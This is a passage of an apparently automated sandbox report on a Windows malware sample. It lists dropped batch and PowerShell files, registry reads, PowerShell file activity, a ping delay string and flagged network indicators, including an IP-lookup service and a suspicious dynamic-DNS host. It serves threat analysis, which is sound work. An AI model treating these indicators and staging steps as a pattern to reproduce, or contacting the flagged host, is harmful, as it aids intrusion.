"C:\Users\%OSUSER%\AppData\Local\Temp\nlyjs020\nlyjs020.out"52:T544,"npm4ol10jde.cmd" has type "DOS batch file ASCII text with very long lines (59591)"- Location: [%TEMP%\frnxne3f.vzc\npm4ol10jde.cmd]- [targetUID: 00000000-00002148] "28750q24813.ps1" has type "ASCII text with very long lines (61943)"- Location: [%PUBLIC%\28750q24813.ps1]- [targetUID: 00000000-00002148] "euck1s2w.25u" has type "data"- Location: [%TEMP%\frnxne3f.vzc\euck1s2w.25u]- [targetUID: 00000000-00003236] "naisjwyh.hxp" has type "data"- Location: [%TEMP%\frnxne3f.vzc\naisjwyh.hxp]- [targetUID: 00000000-00003236] "4xim0g4s.myp" has type "data"- Location: [%TEMP%\frnxne3f.vzc\4xim0g4s.myp]- [targetUID: 00000000-00003236] "nlyjs020.out" has type "Unicode text UTF-8 (with BOM) text with very long lines (433) with CRLF CR line terminators"- Location: [%TEMP%\nlyjs020\nlyjs020.out]- [targetUID: 00000000-00007384] "nlyjs020.cmdline" has type "Unicode text UTF-8 (with BOM) text with very long lines (370) with no line terminators"- Location: [%TEMP%\nlyjs020\nlyjs020.cmdline]- [targetUID: 00000000-00002684] "nlyjs020.0.cs" has type "C++ source Unicode text UTF-8 (with BOM) text"- Location: [%TEMP%\nlyjs020\nlyjs020.0.cs]- [targetUID: 00000000-00002684] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00002148]53:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")54:Tae5,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "ENABLEEXTENSIONS"; Value: "")55:Tabb,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSVCP140.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL"56:Tbe6,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.cdxml"57:T665,"powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_e3rmaazc.jzz.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_x5ziyr1o.tt1.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%temp%\__psscriptpolicytest_e3rmaazc.jzz.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_x5ziyr1o.tt1.psm1" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_aw4klctl.yki.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_eojribll.0wk.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\frnxne3f.vzc\naisjwyh.hxp" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\frnxne3f.vzc\euck1s2w.25u" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\frnxne3f.vzc\4xim0g4s.myp" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\frnxne3f.vzc\npm4ol10jde.cmd" "powershell.exe" writes file "%temp%\__psscriptpolicytest_aw4klctl.yki.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_eojribll.0wk.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_sz32ovfz.xu2.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_pb21apgp.zjb.psm1" "powershell.exe" writes file "c:\users\public\28750q24813.ps1"58:T452,Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp, 00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp, 00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp, 00000000-00002684.00000001.136956.61DC0000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00002684.00000000.136665.61DC0000.00000004.mdmp, 00000000-00002684.00000001.136956.61DC0000.00000004.mdmp")59:T610,"2.5.29.37" "2.5.29.35" Potential IP "127.0.0.1" found in string "ping -n 8 127.0.0.1" "1.0.0.0" "0.0.0.0" "192.168.0.2" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "1.0.0.0" found in string "sion=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" "2.5.29.17" "2.5.29.16" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" "2.5.29.14" Potential IP "2.5.29.37" found in string "%2.5.29.37" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.19" "2.5.29.32" "2.5.29.31" "2.5.29.15" "2.5.29.1" "2.5.29.10" "2.5.4.3" "2.5.4.7" "2.5.4.8" "2.5.4.6" "2.5.4.10" "2.5.4.5" "2.5.4.11" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=ns" Potential IP "4.0.0.0" found in string "4.0.0.0, Culture=neutralm" Potential IP "4.0.0.0" found in string "n=4.0.0.0, Culture=neutr" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=n" Potential IP "4.0.0.0" found in string "on=4.0.0.0, Culture=neut" Potential IP "4.0.0.0" found in string "4.0.0.0, Culture=neutral" Potential IP "4.0.0.0" found in string "=4.0.0.0, Culture=neutra" Potential IP "4.0.0.0" found in string "ersion=4.0.0.0, Culture=" "49.1.9.3" Potential IP "1.0.0.0" found in string "1.0.0.0[" Potential IP "4.0.0.0" found in string "ystem.Numerics,4.0.0.0,,b77a5c561934e089"5a:T17cc,Pattern match: "http://go.microsoft.com/fwlink/?linkid=533240" Heuristic match: "ip-api.com" Heuristic match: "privatehos.casacam.net" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "5.cat" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "http://www.microsoft.com/windows" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Heuristic match: "osoft.office.in" Heuristic match: "ntrust.net" Heuristic match: "stem.management.automation.re" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "hawte.com/cps07" Pattern match: "http://crl.thawt" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.micros" Heuristic match: "t.automation.re" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Heuristic match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002148.00000000.136313.3A650000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcjig3bhv*8tpa2.5.29.1thawte," - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0microsoft" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002148.00000000.136313.52E30000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00002148.00000001.136340.38990000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00002148.00000001.136340.38990000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsse:gse:g1.3.6.1.4.1.311.3.3.1te:ga+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00002148.00000001.136340.3A650000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002148.00000001.136340.3A650000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002148.00000001.136340.52E30000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: 